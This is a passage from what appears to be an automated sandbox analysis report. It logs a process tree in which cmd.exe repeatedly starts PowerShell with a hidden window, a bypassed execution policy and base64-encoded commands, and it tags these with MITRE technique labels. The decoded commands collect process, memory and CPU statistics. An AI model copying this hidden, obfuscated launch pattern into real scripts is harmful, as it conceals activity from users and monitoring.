ACAA"
  2⤵
  PID:5000
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAHAAcgBvAGMAcwAgAD0AIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAG4AZQAgACIAIgAgAC0AYQBuAGQAIAAkAF8ALgBOAGEAbQBlACAALQBuAGUAIAAiAGUAeABwAGwAbwByAGUAcgAiACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAATgBhAG0AZQAsACAAQAB7AE4AYQBtAGUAPQAiAE0AZQBtACIAOwBFAHgAcAByAGUAcwBzAGkAbwBuAD0AewBbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABfAC4AVwBvAHIAawBpAG4AZwBTAGUAdAAgAC8AIAAxAE0AQgAsACAAMQApAH0AfQAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABNAGUAbQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxADUACgAgACAAIAAgACAAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAkAHAAcgBvAGMAcwAKACAAIAAgACAA
    3⤵
    PID:428
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAG8AcwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0ACgAgACAAIAAgACAAIAAkAGYAcgBlAGUAcgBhAG0AIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAbwBzAC4ARgByAGUAZQBQAGgAeQBzAGkAYwBhAGwATQBlAG0AbwByAHkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAkAHQAbwB0AGEAbAByAGEAbQAgAD0AIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABvAHMALgBUAG8AdABhAGwAVgBpAHMAaQBiAGwAZQBNAGUAbQBvAHIAeQBTAGkAegBlACAALwAgADEAMAAyADQAIAAvACAAMQAwADIANAAsACAAMgApAAoAIAAgACAAIAAgACAAJAB1AHMAZQBkAHIAYQBtACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAHQAbwB0AGEAbAByAGEAbQAgAC0AIAAkAGYAcgBlAGUAcgBhAG0ALAAgADIAKQAKACAAIAAgACAAIAAgACQAYwBwAHUAIAA9ACAAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwBvAHIAKQAuAEwAbwBhAGQAUABlAHIAYwBlAG4AdABhAGcAZQAKACAAIAAgACAAIAAgAEAAewAgAGYAcgBlAGUAUgBhAG0APQAkAGYAcgBlAGUAcgBhAG0AOwAgAHQAbwB0AGEAbABSAGEAbQA9ACQAdABvAHQAYQBsAHIAYQBtADsAIAB1AHMAZQBkAFIAYQBtAD0AJAB1AHMAZQBkAHIAYQBtADsAIABjAHAAdQBVAHMAYQBnAGUAPQAkAGMAcAB1ACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4ACgAgACAAIAAgAA=="
  2⤵
  - Hide Artifacts: Hidden Window
  PID:236
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAG8AcwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0ACgAgACAAIAAgACAAIAAkAGYAcgBlAGUAcgBhAG0AIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAbwBzAC4ARgByAGUAZQBQAGgAeQBzAGkAYwBhAGwATQBlAG0AbwByAHkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAkAHQAbwB0AGEAbAByAGEAbQAgAD0AIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABvAHMALgBUAG8AdABhAGwAVgBpAHMAaQBiAGwAZQBNAGUAbQBvAHIAeQBTAGkAegBlACAALwAgADEAMAAyADQAIAAvACAAMQAwADIANAAsACAAMgApAAoAIAAgACAAIAAgACAAJAB1AHMAZQBkAHIAYQBtACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAHQAbwB0AGEAbAByAGEAbQAgAC0AIAAkAGYAcgBlAGUAcgBhAG0ALAAgADIAKQAKACAAIAAgACAAIAAgACQAYwBwAHUAIAA9ACAAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwBvAHIAKQAuAEwAbwBhAGQAUABlAHIAYwBlAG4AdABhAGcAZQAKACAAIAAgACAAIAAgAEAAewAgAGYAcgBlAGUAUgBhAG0APQAkAGYAcgBlAGUAcgBhAG0AOwAgAHQAbwB0AGEAbABSAGEAbQA9ACQAdABvAHQAYQBsAHIAYQBtADsAIAB1AHMAZQBkAFIAYQBtAD0AJAB1AHMAZQBkAHIAYQBtADsAIABjAHAAdQBVAHMAYQBnAGUAPQAkAGMAcAB1ACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4ACgAgACAAIAAgAA==
    3⤵
    PID:5048
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAHAAcgBvAGMAcwAgAD0AIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAG4AZQAgACIAIgAgAC0AYQBuAGQAIAAkAF8ALgBOAGEAbQBlACAALQBuAGUAIAAiAGUAeABwAGwAbwByAGUAcgAiACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAATgBhAG0AZQAsACAAQAB7AE4AYQBtAGUAPQAiAE0AZQBtACIAOwBFAHgAcAByAGUAcwBzAGkAbwBuAD0AewBbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABfAC4AVwBvAHIAawBpAG4AZwBTAGUAdAAgAC8AIAAxAE0AQgAsACAAMQApAH0AfQAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABNAGUAbQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxADUACgAgACAAIAAgACAAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAkAHAAcgBvAGMAcwAKACAAIAAgACAA"
  2⤵
  - Hide Artifacts: Hidden Window
  PID:2508
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAHAAcgBvAGMAcwAgAD0AIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAG4AZQAgACIAIgAgAC0AYQBuAGQAIAAkAF8ALgBOAGEAbQBlACAALQBuAGUAIAAiAGUAeABwAGwAbwByAGUAcgAiACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAATgBhAG0AZQAsACAAQAB7AE4AYQBtAGUAPQAiAE0AZQBtACIAOwBFAHgAcAByAGUAcwBzAGkAbwBuAD0AewBbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABfAC4AVwBvAHIAawBpAG4AZwBTAGUAdAAgAC8AIAAxAE0AQgAsACAAMQApAH0AfQAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABNAGUAbQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxADUACgAgACAAIAAgACAAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAkAHAAcgBvAGMAcwAKACAAIAAgACAA
    3⤵
    PID:4928
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAG8AcwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0ACgAgACAAIAAgACAAIAAkAGYAcgBlAGUAcgBhAG0AIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAbwBzAC4ARgByAGUAZQBQAGgAeQBzAGkAYwBhAGwATQBlAG0AbwByAHkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAkAHQAbwB0AGEAbAByAGEAbQAgAD0AIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABvAHMALgBUAG8AdABhAGwAVgBpAHMAaQBiAGwAZQBNAGUAbQBvAHIAeQBTAGkAegBlACAALwAgADEAMAAyADQAIAAvACAAMQAwADIANAAsACAAMgApAAoAIAAgACAAIAAgACAAJAB1AHMAZQBkAHIAYQBtACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAHQAbwB0AGEAbAByAGEAbQAgAC0AIAAkAGYAcgBlAGUAcgBhAG0ALAAgADIAKQAKACAAIAAgACAAIAAgACQAYwBwAHUAIAA9ACAAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwBvAHIAKQAuAEwAbwBhAGQAUABlAHIAYwBlAG4AdABhAGcAZQAKACAAIAAgACAAIAAgAEAAewAgAGYAcgBlAGUAUgBhAG0APQAkAGYAcgBlAGUAcgBhAG0AOwAgAHQAbwB0AGEAbABSAGEAbQA9ACQAdABvAHQAYQBsAHIAYQBtADsAIAB1AHMAZQBkAFIAYQBtAD0AJAB1AHMAZQBkAHIAYQBtADsAIABjAHAAdQBVAHMAYQBnAGUAPQAkAGMAcAB1ACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4ACgAgACAAIAAgAA=="
  2⤵
  - Hide Artifacts: Hidden Window
  PID:3152
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAG8AcwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0ACgAgACAAIAAgACAAIAAkAGYAcgBlAGUAcgBhAG0AIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAbwBzAC4ARgByAGUAZQBQAGgAeQBzAGkAYwBhAGwATQBlAG0AbwByAHkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAkAHQAbwB0AGEAbAByAGEAbQAgAD0AIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABvAHMALgBUAG8AdABhAGwAVgBpAHMAaQBiAGwAZQBNAGUAbQBvAHIAeQBTAGkAegBlACAALwAgADEAMAAyADQAIAAvACAAMQAwADIANAAsACAAMgApAAoAIAAgACAAIAAgACAAJAB1AHMAZQBkAHIAYQBtACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAHQAbwB0AGEAbAByAGEAbQAgAC0AIAAkAGYAcgBlAGUAcgBhAG0ALAAgADIAKQAKACAAIAAgACAAIAAgACQAYwBwAHUAIAA9ACAAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwBvAHIAKQAuAEwAbwBhAGQAUABlAHIAYwBlAG4AdABhAGcAZQAKACAAIAAgACAAIAAgAEAAewAgAGYAcgBlAGUAUgBhAG0APQAkAGYAcgBlAGUAcgBhAG0AOwAgAHQAbwB0AGEAbABSAGEAbQA9ACQAdABvAHQAYQBsAHIAYQBtADsAIAB1AHMAZQBkAFIAYQBtAD0AJAB1AHMAZQBkAHIAYQBtADsAIABjAHAAdQBVAHMAYQBnAGUAPQAkAGMAcAB1ACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4ACgAgACAAIAAgAA==
    3⤵
    PID:5504
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAHAAcgBvAGMAcwAgAD0AIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAG4AZQAgACIAIgAgAC0AYQBuAGQAIAAkAF8ALgBOAGEAbQBlACAALQBuAGUAIAAiAGUAeABwAGwAbwByAGUAcgAiACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAATgBhAG0AZQAsACAAQAB7AE4AYQBtAGUAPQAiAE0AZQBtACIAOwBFAHgAcAByAGUAcwBzAGkAbwBuAD0AewBbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABfAC4AVwBvAHIAawBpAG4AZwBTAGUAdAAgAC8AIAAxAE0AQgAsACAAMQApAH0AfQAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABNAGUAbQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxADUACgAgACAAIAAgACAAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAkAHAAcgBvAGMAcwAKACAAIAAgACAA"
  2⤵
  PID:2060
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAHAAcgBvAGMAcwAgAD0AIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAG4AZQAgACIAIgAgAC0AYQBuAGQAIAAkAF8ALgBOAGEAbQBlACAALQBuAGUAIAAiAGUAeABwAGwAbwByAGUAcgAiACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAATgBhAG0AZQAsACAAQAB7AE4AYQBtAGUAPQAiAE0AZQBtACIAOwBFAHgAcAByAGUAcwBzAGkAbwBuAD0AewBbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABfAC4AVwBvAHIAawBpAG4AZwBTAGUAdAAgAC8AIAAxAE0AQgAsACAAMQApAH0AfQAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABNAGUAbQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxADUACgAgACAAIAAgACAAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAkAHAAcgBvAGMAcwAKACAAIAAgACAA
    3⤵
    PID:3500
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAG8AcwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0ACgAgACAAIAAgACAAIAAkAGYAcgBlAGUAcgBhAG0AIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAbwBzAC4ARgByAGUAZQBQAGgAeQBzAGkAYwBhAGwATQBlAG0AbwByAHkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAkAHQAbwB0AGEAbAByAGEAbQAgAD0AIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABvAHMALgBUAG8AdABhAGwAVgBpAHMAaQBiAGwAZQBNAGUAbQBvAHIAeQBTAGkAegBlACAALwAgADEAMAAyADQAIAAvACAAMQAwADIANAAsACAAMgApAAoAIAAgACAAIAAgACAAJAB1AHMAZQBkAHIAYQBtACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAHQAbwB0AGEAbAByAGEAbQAgAC0AIAAkAGYAcgBlAGUAcgBhAG0ALAAgADIAKQAKACAAIAAgACAAIAAgACQAYwBwAHUAIAA9ACAAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwBvAHIAKQAuAEwAbwBhAGQAUABlAHIAYwBlAG4AdABhAGcAZQAKACAAIAAgACAAIAAgAEAAewAgAGYAcgBlAGUAUgBhAG0APQAkAGYAcgBlAGUAcgBhAG0AOwAgAHQAbwB0AGEAbABSAGEAbQA9ACQAdABvAHQAYQBsAHIAYQBtADsAIAB1AHMAZQBkAFIAYQBtAD0AJAB1AHMAZQBkAHIAYQBtADsAIABjAHAAdQBVAHMAYQBnAGUAPQAkAGMAcAB1ACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4ACgAgACAAIAAgAA=="
  2⤵
  - Hide Artifacts: Hidden Window
  PID:3020
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAG8AcwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0ACgAgACAAIAAgACAAIAAkAGYAcgBlAGUAcgBhAG0AIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAbwBzAC4ARgByAGUAZQBQAGgAeQBzAGkAYwBhAGwATQBlAG0AbwByAHkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAkAHQAbwB0AGEAbAByAGEAbQAgAD0AIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABvAHMALgBUAG8AdABhAGwAVgBpAHMAaQBiAGwAZQBNAGUAbQBvAHIAeQBTAGkAegBlACAALwAgADEAMAAyADQAIAAvACAAMQAwADIANAAsACAAMgApAAoAIAAgACAAIAAgACAAJAB1AHMAZQBkAHIAYQBtACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAHQAbwB0AGEAbAByAGEAbQAgAC0AIAAkAGYAcgBlAGUAcgBhAG0ALAAgADIAKQAKACAAIAAgACAAIAAgACQAYwBwAHUAIAA9ACAAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwBvAHIAKQAuAEwAbwBhAGQAUABlAHIAYwBlAG4AdABhAGcAZQAKACAAIAAgACAAIAAgAEAAewAgAGYAcgBlAGUAUgBhAG0APQAkAGYAcgBlAGUAcgBhAG0AOwAgAHQAbwB0AGEAbABSAGEAbQA9ACQAdABvAHQAYQBsAHIAYQBtADsAIAB1AHMAZQBkAFIAYQBtAD0AJAB1AHMAZQBkAHIAYQBtADsAIABjAHAAdQBVAHMAYQBnAGUAPQAkAGMAcAB1ACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4ACgAgACAAIAAgAA==
    3⤵
    PID:4488
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAHAAcgBvAGMAcwAgAD0AIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAG4AZQAgACIAIgAgAC0AYQBuAGQAIAAkAF8ALgBOAGEAbQBlACAALQBuAGUAIAAiAGUAeABwAGwAbwByAGUAcgAiACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAATgBhAG0AZQAsACAAQAB7AE4AYQBtAGUAPQAiAE0AZQBtACIAOwBFAHgAcAByAGUAcwBzAGkAbwBuAD0AewBbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABfAC4AVwBvAHIAawBpAG4AZwBTAGUAdAAgAC8AIAAxAE0AQgAsACAAMQApAH0AfQAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABNAGUAbQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxADUACgAgACAAIAAgACAAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAkAHAAcgBvAGMAcwAKACAAIAAgACAA"
  2⤵
  - Hide Artifacts: Hidden Window
  PID:5880
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAHAAcgBvAGMAcwAgAD0AIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB8ACAAVwBoAGUAcgBlAC0ATwBiAGoAZQBjAHQAIAB7ACAAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBUAGkAdABsAGUAIAAtAG4AZQAgACIAIgAgAC0AYQBuAGQAIAAkAF8ALgBOAGEAbQBlACAALQBuAGUAIAAiAGUAeABwAGwAbwByAGUAcgAiACAAfQAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAATgBhAG0AZQAsACAAQAB7AE4AYQBtAGUAPQAiAE0AZQBtACIAOwBFAHgAcAByAGUAcwBzAGkAbwBuAD0AewBbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABfAC4AVwBvAHIAawBpAG4AZwBTAGUAdAAgAC8AIAAxAE0AQgAsACAAMQApAH0AfQAgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABNAGUAbQAgAC0ARABlAHMAYwBlAG4AZABpAG4AZwAgAHwAIABTAGUAbABlAGMAdAAtAE8AYgBqAGUAYwB0ACAALQBGAGkAcgBzAHQAIAAxADUACgAgACAAIAAgACAAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4AIAAkAHAAcgBvAGMAcwAKACAAIAAgACAA
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:5232
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAG8AcwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0ACgAgACAAIAAgACAAIAAkAGYAcgBlAGUAcgBhAG0AIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAbwBzAC4ARgByAGUAZQBQAGgAeQBzAGkAYwBhAGwATQBlAG0AbwByAHkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAkAHQAbwB0AGEAbAByAGEAbQAgAD0AIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABvAHMALgBUAG8AdABhAGwAVgBpAHMAaQBiAGwAZQBNAGUAbQBvAHIAeQBTAGkAegBlACAALwAgADEAMAAyADQAIAAvACAAMQAwADIANAAsACAAMgApAAoAIAAgACAAIAAgACAAJAB1AHMAZQBkAHIAYQBtACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAHQAbwB0AGEAbAByAGEAbQAgAC0AIAAkAGYAcgBlAGUAcgBhAG0ALAAgADIAKQAKACAAIAAgACAAIAAgACQAYwBwAHUAIAA9ACAAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwBvAHIAKQAuAEwAbwBhAGQAUABlAHIAYwBlAG4AdABhAGcAZQAKACAAIAAgACAAIAAgAEAAewAgAGYAcgBlAGUAUgBhAG0APQAkAGYAcgBlAGUAcgBhAG0AOwAgAHQAbwB0AGEAbABSAGEAbQA9ACQAdABvAHQAYQBsAHIAYQBtADsAIAB1AHMAZQBkAFIAYQBtAD0AJAB1AHMAZQBkAHIAYQBtADsAIABjAHAAdQBVAHMAYQBnAGUAPQAkAGMAcAB1ACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4ACgAgACAAIAAgAA=="
  2⤵
  - Hide Artifacts: Hidden Window
  PID:3812
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand CgAgACAAIAAgACAAIAAkAG8AcwAgAD0AIABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8ATwBwAGUAcgBhAHQAaQBuAGcAUwB5AHMAdABlAG0ACgAgACAAIAAgACAAIAAkAGYAcgBlAGUAcgBhAG0AIAA9ACAAWwBNAGEAdABoAF0AOgA6AFIAbwB1AG4AZAAoACQAbwBzAC4ARgByAGUAZQBQAGgAeQBzAGkAYwBhAGwATQBlAG0AbwByAHkAIAAvACAAMQAwADIANAAgAC8AIAAxADAAMgA0ACwAIAAyACkACgAgACAAIAAgACAAIAAkAHQAbwB0AGEAbAByAGEAbQAgAD0AIABbAE0AYQB0AGgAXQA6ADoAUgBvAHUAbgBkACgAJABvAHMALgBUAG8AdABhAGwAVgBpAHMAaQBiAGwAZQBNAGUAbQBvAHIAeQBTAGkAegBlACAALwAgADEAMAAyADQAIAAvACAAMQAwADIANAAsACAAMgApAAoAIAAgACAAIAAgACAAJAB1AHMAZQBkAHIAYQBtACAAPQAgAFsATQBhAHQAaABdADoAOgBSAG8AdQBuAGQAKAAkAHQAbwB0AGEAbAByAGEAbQAgAC0AIAAkAGYAcgBlAGUAcgBhAG0ALAAgADIAKQAKACAAIAAgACAAIAAgACQAYwBwAHUAIAA9ACAAKABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwBvAHIAKQAuAEwAbwBhAGQAUABlAHIAYwBlAG4AdABhAGcAZQAKACAAIAAgACAAIAAgAEAAewAgAGYAcgBlAGUAUgBhAG0APQAkAGYAcgBlAGUAcgBhAG0AOwAgAHQAbwB0AGEAbABSAGEAbQA9ACQAdABvAHQAYQBsAHIAYQBtADsAIAB1AHMAZQBkAFIAYQBtAD0AJAB1AHMAZQBkAHIAYQBtADsAIABjAHAAdQBVAHMAYQBnAGUAPQAkAGMAcAB1ACAAfQAgAHwAIABDAG8AbgB2AGUAcgB0AFQAbwAtAEoAcwBvAG4ACgAgACAAIAAgAA==
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:5028
- C:\Windows\system32\cmd.exe
